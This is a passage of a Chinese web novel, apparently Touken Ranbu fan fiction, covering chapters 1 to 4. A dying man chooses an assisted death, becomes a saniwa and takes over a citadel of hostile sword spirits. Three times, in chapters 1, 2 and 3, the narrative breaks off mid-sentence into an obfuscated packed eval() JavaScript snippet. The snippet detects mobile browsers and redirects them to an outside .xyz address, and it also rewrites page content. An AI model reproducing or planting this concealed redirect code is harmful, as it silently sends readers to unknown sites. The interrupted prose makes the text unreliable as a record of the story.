《我在死后接管了二手本丸》 1. 第1章 小小的纸人接过材料,当锻造炉亮起火光之后,一张名为加速的符纸也被投入其中。 白光闪过,樱花飞舞。 “哟,我是鹤丸国永。我这样的刀突然到来,有没有吓到你啊?” ………… …… 清水悠迷迷糊糊睁开眼,才知道刚才那又是一场梦。 最近他做的梦越来越多,梦境的内容也几乎全是与那些刀剑有关。好的、坏的,温暖的、离谱的,他不太能抓到规律,又似乎隐约能摸到一点,像是和他近期的执念有关。 清水悠叹了口气,伸出一只手摸过放在他触手可及位置的手机打开,开屏便是游戏的界面。 游戏名叫刀剑乱舞。 如他所说,是他近期的执念。 事实上,他玩这个游戏已经很多年了,只是最近才不知为何越来越执着于此。 可能就像医生说的那样……太久没有出门,所以下意识把思绪寄托其中。 算了,也不重要。 清水悠点开锻刀,三小时二十分钟的锻刀在一觉睡醒后已经结束,他不由自主想到刚才那个梦——他最近几天的执念的确就是想要锻出鹤丸国永。 不过这种没有保底的随缘锻刀大概就像想要在没有up的池子里捞某一个四星角色。尽管很有怨念,但捞不出来就是捞不出来,作为非洲人只要放平心态就好了。 清水悠心无波澜地伸出手指点向十连结束的图标,还没碰到手就忽然一麻。失去支撑之后手机啪嗒落下,砸进自己怀中。 他盯着自己的手看了看,然后轻轻握了握,确认自己重新获得控制权之后就重新将手机拿起。 接着,清水悠的眼中闪过一丝讶异。 屏幕已经不再停留在刚才的界面。 金色背景下,白色的鹤笑吟吟冲他打招呼。 是刚才碰到了吧……这样想着,青年始终平静无波的眼睛终于动了动,最终缓慢显露出一丝笑意。 “啊。是惊喜呢。” 在人生的最后阶段被满足最后一个愿望。不是惊喜,又是什么呢? 门被轻轻打开,探头进来的父母发现他醒着,赶紧走过来,看着他的目光落点不由自主叹了一口气,却没舍得说什么。只问道:“醒了怎么不叫我们?” 清水悠抬头,看见父母眼中含有一丝希冀,一丝哀求。像是只要他说一句话他们就会立刻去让医生停止接下来的事。 清水悠却只是笑笑,眼中还带着未消退的那点鲜活的笑意:“请医生来吧。” 一句话斩灭了夫妻俩眼中的光。 他却像是要踏入新生。 病房久久安静,半晌,父亲迈着沉重的步伐出了房门,母亲失去力气一般跌坐在床边的椅子上,捂着嘴没有说话。 清水悠将视线重新移回自己的手机上。他静静看了会儿那双金眸,然后操控着自己不太受控的手将近侍换成刚刚到来的白鹤。 好了。这下近侍就轮完一圈了。 虽然没有机会再让新成员出阵,曾经说过的话也没办法实现…… 但是还好只是游戏。 只是游戏的话,那就只是他与自己的约定,现在他选择毁约,代价就是付出他自己的生命。 这样刚好。 门外的脚步声再次响起,母亲终于抬起头,急切地想要说些什么,却在看清清水悠的那一瞬间失了声。 青年握住黑屏的手机放在心口,低着眸,唇边是他自己都没注意到的笑意。或许是遗憾,或许是抱歉,或许是懊悔。 但绝不会看错的是那一抹解脱。 那一抹经受久病折磨之后将要迎来终结的解脱。 她忽然就再说不出一句劝解的话。 是啊…… 是啊。 也该放手了。 女人颓然地垂下眼,父亲带着医生走进来,他的眼眶发红,像是在刚才的那段短短的路程中哭过。医生拿着药筐进来,身后没有跟其他人。 这样简单的操作他一人就已足够了。 “准备好了吗?”脚步声停在床边,医生很好地藏住了自己语气里的遗憾,轻声问。 “嗯。” 一句肯定的答复之后,再无疑问。 针尖刺入皮肉中,本该带来刺痛的感受,但镇痛泵到此时依然发挥着作用,清水悠感受不到任何疼痛。 意识渐渐消散的时候是什么感觉呢? 似乎没有任何感觉。 曾经做过很多次将死的梦,梦里的他本以为自己早已做好准备可以心平气和去面对,然而真的到了那一刻意识消散的时候,每次都会无比恐慌。 还有很多没有做完的事、很有很多挂念很多思绪、还有人在等着自己…… 我不想死。 然后就会因为巨大的情绪波动猛然惊醒,才发现那只是一场梦。 现在梦就要变成现实。 清水悠却发现真正到了这一刻,他原来平静得不像话。 就这样吧。结束了。 意识陷入黑沉的美梦中。 …… ……本该是这样。 青年面无表情地看着眼前这一切,四周空间纯白一片,几乎晃眼,幸亏他只是眼睛一闭一睁就来到了这里,不然不敢想象在黑暗中待久了之后被这样对待眼睛会有多难受。 狐狸还在一刻不停地说话。 “……您是拥有灵力的人,在最后的检测中您也达到了我们的要求,只要签订这个协议……” “最后的检测?”清水悠忽然打断它的话,他知道自己最后那段时间过得有多无趣,唯一的乐趣就只有那一个游戏——但他并不是会那样沉迷游戏的人,在他来到这里之后就意识到了不对劲。 “那段时间我的状态也被你们影响了吗?” “啊、这个,因为要引出大人的灵力,才能得到最完整的检测来判定您是否拥有成为审神者的资格,这个过程或多或少都是有影响的,所以……”狐狸一时心虚,吞吞吐吐说得满头是汗。 说到最后,它忽然想起了什么,忽然拔高了音调:“但是绝对!绝对没有影响过您对刀剑男士们的感官!灵力被引导进游戏当中会让您不自主对游戏产生依赖,但是您的感情是我们无法改变的。” 清水悠没在乎这个。他从不怀疑自己的感情是否有杂质。 他用他黑沉沉的眼盯着狐狸看了一会儿,看得它忍不住疯狂回想自己是不是又说错了什么话。最后他才垂下眼,问出最后一个问题。 “那么。我与你们签订协议之后,拥有的那个本丸,是否还是我原来的那一个?” 狐狸呆了呆。 半晌,它小心翼翼地问:“您指的是……您手机游戏里的那个?” 清水悠没回答,进行了默认。 狐狸又想要擦汗了,它吞了吞口水,谨慎地说道:“那的确只是一个游戏……只是一串数据而已,您所说的自然是、不可能的。” ……数据? 清水悠回想起自己死前看到的那双金色的眼,由于过去的时间不长,记忆还无比鲜活,那双眼睛带着笑望向他,就像真实存在的一样。 那只是数据吗……? 狐狸忽然接到了什么通讯,听完之后被毛茸茸覆盖的脸上好像都能看出它的神色变得更难看了。 它悄悄抬起眼看向面前新死的干净的魂魄,正好对上那双漆黑的眼——他正在看着它,又把它吓得一哆嗦。 由于条件的苛刻,能够成为审神者的人类真的不多,因此每一个都尤为珍贵。 专职 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14511099|155030||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 接待的狐狸无比清楚这一点,所以哪怕每一个刚死的人都有着或多或少的问题,一个比一个奇怪,它也都逐渐习惯,能够用它磨炼出来的话术劝说这些人类留下。 但是眼前的这个新人……不知为何,明明没说过几句话,身周的气场却实在让狐害怕,搞得它原本的话术一句也说不出来。 但是想到刚刚接到的通讯…… 狐狸咬了咬牙,迎着那双眼认真地问道:“您愿意签订协议吗?” 清水悠回过神,注意到狐狸的态度有了不明显的变化。回想起刚才那个通讯,他没有回答这个问题,而是反问道:“刚刚那个通讯,和我有关?” “是的。”出乎他意料的,狐狸和盘托出,“有一个失去了审神者的本丸,由于坚持不肯接受新的审神者,让时之政府感到很难办,刚刚接到的指令就是,如果他们的问题再不能解决,在不久之后这个本丸就要被收回了。” 它说得比较委婉,但在场两人都明白它的意思,将本丸与刀剑销毁,让他们回归本灵,等待某一天一无所知被重新唤醒。 清水悠明白了它的意思:“你想让我去试试。” 这么说着,他却依然还有点走神。他在想着生前自己的那个游戏,在想那是否真的全都不存在,所以他并没打算接下这份请求,他想知道自己重新创立本丸,遇到的会不会还是他们,他们又会不会仍旧记得。 记得他未实现的约定,记得他玩笑似的许诺。 只是拒绝的话到了嘴边,他又生出一丝好奇:“能先带我去看看吗?” 狐狸眼睛一亮,立刻甩起了尾巴:“当然!” 前往那里需要经过多次时空转换器,清水悠首先和狐狸签订了契约——不管是接手还是自己建立,他都已经决定要当这个审神者了,接着由狐狸带路往那边走去。 路上,清水悠问道:“他们不愿意接受新的审神者,应该是谁来都没用吧。还有必要带我过去尝试吗?” “任命审神者是不需要刀剑同意的,”狐狸甩甩尾巴,“因为销毁的结局实在是下下等选项,所以大家都想多尝试一些可能性,人类不是有句话叫日久生情吗?” 时空转换器的光芒闪过,眨眼间,眼前的场景就换了一个。 “任命新的审神者与他们相处,如果能让他们接受就是皆大欢喜的结局了。但是他们实在抗拒,所以几次的尝试不是因为审神者接受不了冷暴力而辞职,就是因为受到了恶作剧的惊吓导致无法忍受而告终。” “毕竟那些审神者是可以选择创立自己的本丸、锻造出独属于自己的忠心耿耿的刀剑的,只不过因为善心才来到这里,所以坚持不下去而选择放弃也情有可原。” 清水悠听得不是很认真,听到这里可有可无地点点头。 “到了。”狐狸停下脚步。 最后一个时空转换器的光芒散去。 清水悠抬起眼,发现眼前的景象与他想象中有所差别,这个本丸看起来生机勃勃,并没有缺少审神者的灵力而破败的景象。 不过想想也就明白了,在他们失去审神者之后还有过几位善心的审神者到来,断断续续也算补充过灵力,最后一位应该离开还不久,所以留下的灵力还够支撑运转。 时空转换器的动静对于本丸中付丧神来说很是明显,没多久就传来了杂乱的脚步声。清水悠听着那些逐渐靠近的动静,忽然低下眼看向自己脚边小小的狐狸。 “这个本丸的审神者,是去了哪里?” 他问道。 狐狸福了福身,做出一个滑稽又恭敬的行礼动作,平静地回答这重复许多次的答案。 “是在某一天突然失踪的。但根据政府的调查,初步怀疑是被付丧神们神隐之后选择了自杀。” “当然,这没有证据,大人。” 2. 第2章 ……听起来不太妙。 如果是这样的答案的话,也难怪愿意来的只有几个人了。 狐狸没等清水悠对此表达什么意见,很快的把爪子往他身上一拍,他的身形就变得模糊,最终化为一团白色的雾气。 “冒犯了,这是时政对审神者的保护措施。这样的状态下您不会受到任何伤害,等您愿意的时候可以自行解除,现在请先保持这样吧。” 清水悠有在契约上看见过这一点,因此没发表什么疑问。 短暂的对话结束,付丧神们终于赶到了这里。 为首的是黑发红眸的少年,他的神情冷淡,并没带着自己标志性的笑。那双红眸扫过时空转换器前突兀出现的两位不速之客,盯着清水悠看了几秒,在他白色的雾气上顿了一下,然后看向地上的狐狸。 “这是你们选中的新的好心人?”他的语调略微讽刺。 狐狸与他进行了多次交涉,并不生气:“不,这次不是。这位大人只是想来看看,还没有决定要留下。” 加州清光又扫了一眼那团白雾,似乎是微不可察地松了口气,语调却变得更冷了:“所以,现在是要把我们当作动物园里的猴子来给人展示观看吗?” 狐狸又冒出了冷汗。 它下意识看向身侧的新任审神者,与付丧神们不同,它还能够看见对方的本体。此刻黑发黑眸的青年正盯着说出刻薄话语的加州清光,从它的角度看不清他在想什么。 一时间场面陷入寂静。 “……哈哈哈,好了,加州,”旁边的三日月宗近上前一步拍了拍加州清光的肩,他依旧眯着眼笑,从他身上看不出几分像加州清光一样被目前状况影响得尖锐的痕迹,就像给他一杯茶,他仍旧是那个正常本丸里坐在走廊喝茶的老爷爷。三日月宗近颇有深意地说道:“对待政府派来的人员,我们还是要保持应有的尊敬,不是吗?” 狐狸额头的冷汗更多了。 但眼下的情况,旁边的审神者不说话,就只有由它来挑起大梁作出决定。它张张嘴,决定装瞎只听三日月宗近的表面意思:“既然如此,那就带——” “我同意了。” 始终如同哑巴一样的白雾在此刻忽然出声。在保护措施之下,音色模糊不清。 “我同意了,接手这个本丸。要现在签契约吗?” 在场所有付丧神的目光终于落到他身上。 没有人说话,没有人表示反对。那些目光里所蕴含的情绪很复杂,有排斥、有叹息、有恍惚、有难过、有怒火。 被这样的目光洗礼的清水悠却对他们的态度熟视无睹,他转身走向时空转换器,回头看向呆住的狐狸:“要我抱你走吗?” “!我、我这就来!!” 狐狸猛然惊醒,立刻迈出自己的小短腿追上去。 - 签订契约是一件十分简单的事。 当一个组织期待某样事情发生的时候,他们不会对其流程增加多少难度,就像结婚很容易而离婚却很难那样。 因此清水悠只是简单地去总部做了个登记,然后将即将接手的本丸契约转移到自己身上,这个流程就走完了。 他成为了这个本丸的新任审神者。 之后的事情就不再由狐狸为他介绍,转而由本丸的狐之助来引导。它也已经接待过好几任审神者,对此算是熟练,当听闻有新的审神者愿意接手这个烂摊子的时候,它几乎是迫不及待地赶来与清水悠见面。 “审神者大人!”狐之助用它尖尖的声音喊道,听得出其中被强行压抑着的激动,“感谢您听说了情况之后还愿意上任……呜……大家的态度可能不太好,但他们绝对没有坏心,只是脑子一时转不过来弯而已。如果可以的话,还请大人多多了解他们一下再决定之后走不走,拜托了!” 清水悠盯着它看了一会儿。 他有点想要叹气。 该说不愧只是式神吗?把这样的交流重担放到一只狐狸式神身上果然还是太过为难了,哪里有还没开始就先表明难度、以对方最终会产生离开想法作为假设的,这是在劝退吧? 虽然是这么想,他还是弯下腰轻轻摸了摸狐之助的脑袋,“好,我会好好看看的。” 狐之助立刻想要哭出来了。 还是后面的狐狸轻咳一声,将一个怀表模样的东西递出来:“大人,这是您的时空转换器,在您的本丸中拥有最高级权限,请收好。” 清水悠接过来,看见上面刻着一个【泉】字。 依然是出于保护审神者的理由,在担任审神者期间,他需要取一个代号用于称呼。当他决定好并登记完毕、转移契约之后,本丸中的时空转换器与天守阁的控制中心上,就会更新为他的代号,代表着这是审神者【泉】的本丸所属。 他冲狐狸点点头,便由狐之助带路,再一次踏入刚才的那个本丸。 这一次,是由审神者的身份。 光芒散去后,他抬起眼,发现加州清光依然等在这里,感到有些意外。 “审神者大人。”加州清光对他行礼。 没有叫他主人,这是意料之中的事情。清水悠看着他,此时少年垂着头,已经看不清那双红色的眼睛,清水悠却能立刻回想起刚来时见到的画面。 加州清光,初始刀之一,是一振以可爱为卖点,喜欢撒娇,亲近审神者的打刀。 这是他在游戏中对他的印象,也是他想象中存在的形象。然而真正见到的这第一振加州清光,却神情冷漠,疲于露出笑容,就像失去了爱的玫瑰一样枯蔫凋零。 那时候他的眼神是怎么样的? 或许他自己感受不到,清水悠却看得分明。 或许他仍然不愿意接受新的审神者,也依然还想要找回自己的前主。但加州清光是一振获得了宠爱才能好好生活的刀,他对新来的审神者态度越差,就越说明了现在状况对他心理状态的影响,让他只有通过这样的方式,去情绪外放地赶走新主,才能压抑下心中的渴望。 他在渴望有人爱他,这是他的本能,他却要强行压下自己这样的渴望。 清水悠承认,他心疼了。 他自己在游戏中的初始刀就是加州清光,陪伴他最久,也得到了他最多的偏爱。哪怕知道这不是自家孩子,也无法忍受他所宠爱的孩子的同位体变成这样糟糕的模样。 他没有忘记 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14511100|155030||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自己还想要尝试建立自己的本丸、看看会不会是他游戏中刀剑的那个目标,但这也不冲突。 他记得,狐狸说过,之前无法忍受而辞职的审神者,最终都选择了自己从头建立本丸,也就是说,当他处理好这个本丸的事情之后,依然有机会去进行自己的尝试。 总而言之,如果没有见面也就罢了,当见过面,他就没有办法再放下这件事,清水悠就是这样一个心软的人。 他看向加州清光,不意外地看见别的付丧神都已经离开了这里,也不要求先去找他们,只说道:“带我去天守阁看看吧。” 狐之助从进来开始就一直十分紧张,在听见加州清光的称呼之时紧张情绪尤甚。它悄悄瞄了身侧白雾好几眼,此刻见到清水悠并不计较,才狠狠松了一口气。 加州清光没有多说什么,简简单单应了是,就转身带路。 一路上很安静。 本丸的景色很好,是清水悠喜欢的风格,唯一美中不足就是太过寂寥,没有碰见过任何一个活物,安静得就像整个本丸只有他们一样。 在生病后清水悠就变得对视线敏感,此时也没感受到任何一个偷窥的视线,显而易见是连来偷窥的人都没有,一个个闭门不出了。 用这种方式来表达抗拒吗…… 清水悠想了想,觉得这个手段还真是温和。 如果真的想要把一个人逼得赶出去,可以使用的手段有很多。阴一点的在暗地里下绊子,明着来的可以直接参考校园霸凌,很过分但也很有效,绝对要不了多久就能把人气得摔门而出。 但大概因为知道这些审神者都是好心来帮忙,所以不好意思使用那种手段吧。 不过按照前面几个辞职的审神者来看,清水悠不得不承认,冷暴力也是一种比较伤人的方法。哪怕抱着再热忱的心来,热脸贴冷屁股贴久了,作为人类总会有情绪,情绪积少成多之后,就会有受不了的那一天。 只有清水悠因为长期远离人群,所以反而不怎么需要社交,也不需要别人给他提供情绪价值。 这样来看,目前这种情况,他倒的确是一个好的人选。 天守阁在本丸的最深处,七拐八拐走了好半天才到。清水悠抬头看了看,明白二楼是自己的卧室。 他想继续往前走,加州清光却突兀停下了脚步,又对他礼貌而有距离感地行了个礼:“我就送您到这里了。之后有什么疑问,就请去问您的近侍。” 他这话并不是请求而是告知,说完之后并不等答复就转身离开。 被留在原地的清水悠困惑地皱了皱眉:“近侍……?” 狐之助立刻讨好地回答了他的问题——大概是因为回答过太多遍,所以一瞬间就能领会到他的意思:“加州殿不是近侍!他是初始刀,因为近侍的工作经验太少,再加上没有审神者的情况下就是名存实亡,所以平时本丸里的运作还是由他来安排……” 但这也没办法解释为什么是由非近侍的刀剑来迎接领路。狐之助说到这里也意识到这个问题,苍白地开脱一句:“担、担任近侍的那一位对这个本丸不太有归属感,所以平时也很少关注新消息,大概是还不知道您来了吧……” 3. 第3章 清水悠听着,不置可否,继续往天守阁内走去。 他在思考这是又一个下马威,还是的确就如狐之助所说的那样,那些话并不是在找借口开脱。 天守阁的一楼有专门为近侍准备的房间,具体情况究竟是怎样的,去看一看就知道了。清水悠进门之后扫视一圈,很快确定好目标地点。 狐之助见状,又开始慌起来。 它没敢出声,看了一眼时间再想想这家伙平日里的日常,就知道这个点他绝对不在房间里。 没人迎接也就算了,审神者都找到近侍房间里去了,却发现里面没人,这怎么行?想必泉大人脾气再好都要生气了吧!它赶紧悄悄翻出自己的通讯铃铛,狠命给对方弹召回信息。 清水悠没在意它在后面做的小动作,停在门前拉开门,看见里面空无一人。 虽然没人,平日里的生活细节也足够推敲。 这并不像平常近侍房间那样因为时常更换住客,所以更像一个短租房一样,不太有刀剑们个人的生活痕迹。这里像是被同一个人生活了许久,放满了他的个人物品,一开门能嗅到些许私人房间特有的主人身上的味道。 他在礼貌关门和进去看看之间纠结了一下,选择了后者。 谁料,才刚抬脚迈出去一步,肩膀就忽然搭上一只手。清水悠下意识扭头,对上一双带着笑意的、十分有记忆点的金眸。 “哟,你好呀。”他说,“你就是新来的审神者大人吗?哈哈哈…我这样突然出现,有没有吓到你啊?” - 在被阻止之后,清水悠顺其自然地放弃了进门的打算,去往了属于自己的绝不会有人阻止他进去的房间。 在这期间,匆匆忙忙赶回来的近侍先生始终跟在他身后,话痨得像是好久没见过活人一样,一刻不停的和他搭话。 “你的灵力看起来好清透呀!”“你是新上任的审神者吗?”“觉得我们本丸的风景怎么样?”“你也是白的,我也是白的,我们俩站在一块儿很搭嘛……” 直到参观完卧室,到了中枢旁,鹤丸国永才停下杂话,笑吟吟地教他:“把手放到水晶球上,然后输入自己的灵力就好啦。” 清水悠垂眸看了看,那颗水晶球干净剔透,没有一点落灰的迹象,想来是有人常来打扫。 他把手放上去,按照刚刚才在时政那里学的方法,缓慢将自己的灵力输入进去。 灵力被水晶球吸收转换又扩大,最终覆盖整个本丸空间,将上一位审神者的灵力替换干净。刀剑付丧神们的灵力来源于审神者,在这一刻自然也是被替换的其中一部分。 药研藤四郎抬头望了一眼天空,低声喃喃:“又有新的审神者来了吗……” 正进门准备叫弟弟们结束午睡起床的一期一振见到他已经出门,笑着打了个招呼:“药研,睡得好吗?” “嗯。”药研藤四郎收回视线,跟着哥哥重新回到房间中,没再关注本丸的新变化,“我来帮你吧,一期哥。” 这个过程不快不慢,鹤丸国永站在清水悠身边,一双眼眯着,像是在仔细感受新主人的灵力。 清水悠看了他一眼,目光停留的时间微妙的多了两秒,就被他敏锐地察觉到。 鹤丸国永睁开眼,笑着问道:“有什么吩咐吗?” “……”已经被抓包了,清水悠就没欲盖弥彰地收回视线,顺势问道,“你好像和他们不一样。” “嗯嗯?是指什么?” 白色的鹤歪了歪脑袋,像是真的不明白,“我不是后来加入的哦!是和大家一起诞生在这个本丸的,哪里会不一样呢?” 装傻充愣。 这家伙作为刀剑男士里老年组的一员,存在上千年,不比三条派的那些愚笨。或者不如说他是活得最通透的那一个。 他明明知道自己问的是什么,别的刀剑男士对新来的审神者态度冷淡,摆明了不欢迎的态度,鹤丸国永却和正常本丸里那些别的鹤一样,依然活泼爱笑,对审神者态度也很正常。 光是这样的态度不同就像是把他们分成了两个部分。再加上狐之助说过他对这个本丸没什么归属感…… 等等。清水悠忽然动作一顿。 如果他们不欢迎审神者的到来,就应该连接应的人都不会有。清水悠不会愚蠢的去认为加州清光会因为心软就分不清主次,害怕审神者初来乍到心情忐忑于是还特意做好了接待工作——这和他们的目标是完全相违背的,第一印象是很重要的东西,如果第一次见面就表露了善意,那么总会让人心存一丝希望,加大他们之后工作的难度。 这是不可能的,那么换一个角度去思考——如果是因为不这么做,想要赶走审神者的难度还会变得更大呢? “他们对你瞒下了新任审神者就任的消息,是吗?”清水悠忽然出声问道。 鹤丸国永眼里露出一丝惊讶,虽然很快就被他藏了下去,笑着打哈哈,但第一反应的异样已经证实了清水悠的猜测。 猜对了。 鹤丸国永对新主态度友好,并不排斥,所以如果让他知道消息去迎接,会给人这个本丸也没有那么糟糕的错觉。 所以他们要把鹤丸排除在外。 但是这又衍生出了一个新的问题。这样的情况的话,让鹤丸留在审神者身边做近侍,不也会造成差不多的效果吗? 以及—— 既然不排斥新主,为何不同意时政提出的,去往新的本丸的建议? - 清水悠目前有很多问题,不过暂时都还得不到答案。 虽然鹤丸国永表现得很亲和,但这种态度其实也并不亲近。不管他们内部究竟是怎样的关系、出了怎样的问题,他们终究都还是一个整体,不会对清水悠透露半点消息。 也正因此,清水悠其实都不能肯定自己先前的猜测。因为再换一个思路,鹤丸国永才是那一个最热衷于整审神者的白切黑,因为他是近侍所以后面审神者会遭受尤其惨无人道的对待,于是在最开始给他一点点好待遇,就像吃顿好饭好上路一样——这种情况也不是没可能。 于是清水悠没再问什么,他不指望在第一天就能取得什么进展,一边回到一楼大堂,一边回忆着新审神者上任手册上面的教程指导,问道:“那么现在……首先是要安排日课,对吧?” “啊呀。”门外传来了带着笑意的声音,三日月宗近走进来,正好听到这句话,“哈哈哈,正要来给您说这件事呢。在之前没有审神者的时间里,我们的日课活动都是自己安排的,所以今天也已经按照之前的安排行动了,就不劳烦您操心了。” 清水悠扭头,盯着不请自来的老爷爷看了一会儿。 他的眼睛颜色比一般人要黑,面无表情直直盯着人的时候会让人心里犯怵,就是相处了这么多年的家人都不太能接受得了,后来他就养成了不直视人的习惯。 不过现在他只是一团雾气,不会有这种问题,因此就光明正大的看了过去。 在三日月宗近的眼中,那的确只是一团白雾——雾气的颜色与审 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14511101|155030||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 神者的灵力和性格挂钩,白色是很少见的颜色,当雾气跟随情绪波动而产生细微变化之时,白雾也是表现最明显的那个——现在,审神者身上的雾气就像被微风吹过一样轻轻飘了一下,连天空中的白云被吹散又合拢的过程都没有,很快就恢复了平静。 这代表着,对于他的挑衅,这位审神者几乎没产生情绪波动。就算有,也只是因为被突然的出声给吓了一跳。 三日月宗近表情没有变化,微眯的新月瞳中却闪过一丝微光。 “是吗?”白雾出声道,语调如他所想那样没什么变化,“那就谢谢你们的体谅了。第一天上任我还有很多需要了解的东西,日课什么的确实忙不过来呢。” “不过,我刚才翻了翻刀帐,”话说到一半,审神者的话锋又忽然一转,“本丸里受伤的刀剑似乎不少。没有去进行修复吗?” “哈哈哈,您说笑了,”三日月宗近的语气像是面对着什么都不懂的孩童,“之前没有审神者,我们的灵力需要省着点用,不严重的自然也就等待空气中灵力的蕴养自然恢复,严重一点的……” 他摊了摊手,“严重一点的,就需要由审神者帮忙手入了呀。” 审神者清水悠不置可否。 就像他刚来的时候感知到的那样,上一个审神者辞职时间不长,这个本丸里的灵力还很充沛,不管怎么说,都没有一定要省到轻伤都不去修复的程度。 而他刚才翻看刀帐看见的伤刀也太多了……这短短的时间里,到底要怎样才能伤那么多? “既然这样,三日月殿,”清水悠淡淡的命令道,“请身上带伤的人们都来手入室前等候吧。” “全部吗?”三日月宗近问。 “手入室的空间可能装不下那么多付丧神哦。”鹤丸国永帮腔。 清水悠谁也没回,他只是重复强调道:“全部。” 手入室的位置不远,三日月宗近去叫人,鹤丸国永来带路,很快就到了。 清水悠打量了一下,门是关着的,门把手有些许积灰,看起来似乎是自上一个审神者离开之后就再也没有开放过。 他拿出手帕擦了擦,把门推开,确认里面的设施没有问题,就没再往里走,而是靠着门框就在门口等。 等了两分钟,鹤丸国永有点待不住了。 一般来说,愿意接手这种麻烦的烂摊子的审神者都是心软的好人,前面几位都很符合这个标准。因为心软,所以性格也并不强硬,在这种情况下,面对着唯一释放好意的鹤丸国永都会变得有些话痨,以此来掩饰自己的尴尬,再加上鹤丸国永是一个不会让场面冷下来的人,他们就总是很热闹的。 这一次的审神者性格却很冷,按照之前的经验也知晓,没话找话的话他不会好心地有一句接一句把对话进行下去,鹤丸国永竟然微妙的感受到了一丝被冷落的待遇。 好在伤员们很快来了。 虽然乖乖听话集合过来了,付丧神们看起来也没什么配合的打算。他们沉默地站在门前空地上,一声不吭地等待审神者发话。 只是清水悠也安静着。 两边一时陷入寂静,几乎让人觉得陷入一种对峙之态。就在旁边的鹤丸国永都觉得有点难捱,怀疑这是不是这位新任审神者新官上任三把火,打算反向给不配合的付丧神们来个下马威时,他才终于有了动作。 清水悠看向三日月宗近:“差了六个人。” “骨喰、鲶尾、长谷部、山姥切、髭切、膝丸……他们六个,为什么不在?” 4. 第4章 这话一出,付丧神们面面相觑,似乎是没想到他会记得这么清楚,出现了一丝骚动。 三日月宗近的眼睛也微微睁大了一些,随后如实答道:“他们去出阵了。” 这种事没什么隐瞒的必要,等他们回来之后审神者自然会知晓。 这一次,清水悠沉默了更久。 他不知道该说什么,也不知道这群家伙究竟在想什么。 出阵? 六个伤员——去出阵? 如果只是去远征,清水悠或许都不会感到这么生气,那毕竟是没什么危险的行动。 但是这反而让他更加搞不明白。远征派出了状态健康的付丧神,出阵反而派伤员去? 情绪体现在雾气的状态上,三日月宗近发现这位一直情绪稳定的审神者终于出现了强烈的情绪波动——在他们的出阵安排上。 被挑衅没有生气、被冷待没有生气,却因为刀剑男士们对自己的不爱惜感到了生气。 这一刻饶是自称老爷爷、活得久于是内心冷硬如石头的三日月宗近,也一时说不出接下来的话。 不过……接下来,这位审神者又会怎么做呢? 看起来他不走怀柔派。那么是充分使用自己的审神者权利,将他们强制召回,还是等到他们回来,然后略施惩戒,以此奠定自己的主位基调? 在他东想西想的时间里,新任审神者已经一言不发,按顺序挨个叫人进去手入。 在审神者带着第一个人进门之后,外面的付丧神们互相看了看,纵使气氛依然压抑,也终究忍不住因为这位审神者的不按套路出牌而窃窃私语起来。 “三日月大人,”今剑扯了扯三日月宗近的袖子,“你在想什么?” “嗯?” 三日月宗近的思维被打断,他低下头,看见短刀好奇的眼神,笑了笑:“哈哈哈,只是在想,这位审神者的风格似乎与众不同啊。他面对着我们这些不配合的付丧神们,会采取怎样的措施呢?” “诶——”听到这个回答,今剑无趣地撇了撇嘴,“那种事怎样都好吧,反正也不重要啦。” 三日月宗近又笑了两声,却没应声。 大家身上的伤都不重。就像清水悠最开始说的那样,这么短的时间里搞出这么一大个轻伤兵团已经是一件很不可思议的事情了,要是全部都是重伤的话,恐怕再怎么用没有审神者、节省灵力来解释都没有用,时政必定会派人上门查看情况。 这个本丸的付丧神们似乎很不愿意被接管,对于这种情况想必是能避免就避免吧。 伤势轻微,所以哪怕人数众多,清水悠的手入也进行得很快。没多久,还在跟三日月宗近唠嗑的今剑就被点到名。 清水悠念完名字,看见银发短刀朝自己走来,就熟练地重新返回手入室。 这种情况其实很像有教官老师之类的场合,如果付丧神们能配合地答一声到,那就更加相似了。清水悠被自己的想象激起一点笑意,不过很可惜他们显然不会配合。 他的黑眸轻轻弯了弯,机械性的重复动作让他的大脑也有些麻木,不得不通过这种方式来活跃。很快那一点情绪就重新沉下去,他看向今剑:“来吧,本体给我。” 短刀有些疑惑地看了他一眼,乖顺地将本体递出去。 他刚才……好像笑了一下?云雾的那种波动状态是笑吧? 是在笑什么呢? 今剑还没想出个所以然来,已经修复完毕焕然一新的本体短刀就重新递回他的面前,将他吓了一跳。 虽然看前面同伴的手入速度也大概能猜到,这位新审神者的效率很高。但毕竟是新人,他在进来之前,的确是有过“会不会光顾着速度了,但其实手法不算太仔细呢”之类的猜测。 但现在事实摆在面前,证明了这位新人大概就是天赋异禀。 “怎么了?”见他迟迟不接,清水悠疑惑地晃了晃手,“有什么问题吗?” 今剑猛然惊醒。 他摇了摇头,一声不吭地接过自己的本体,快速出门去了,颇有种迫不及待拉开距离的感觉。 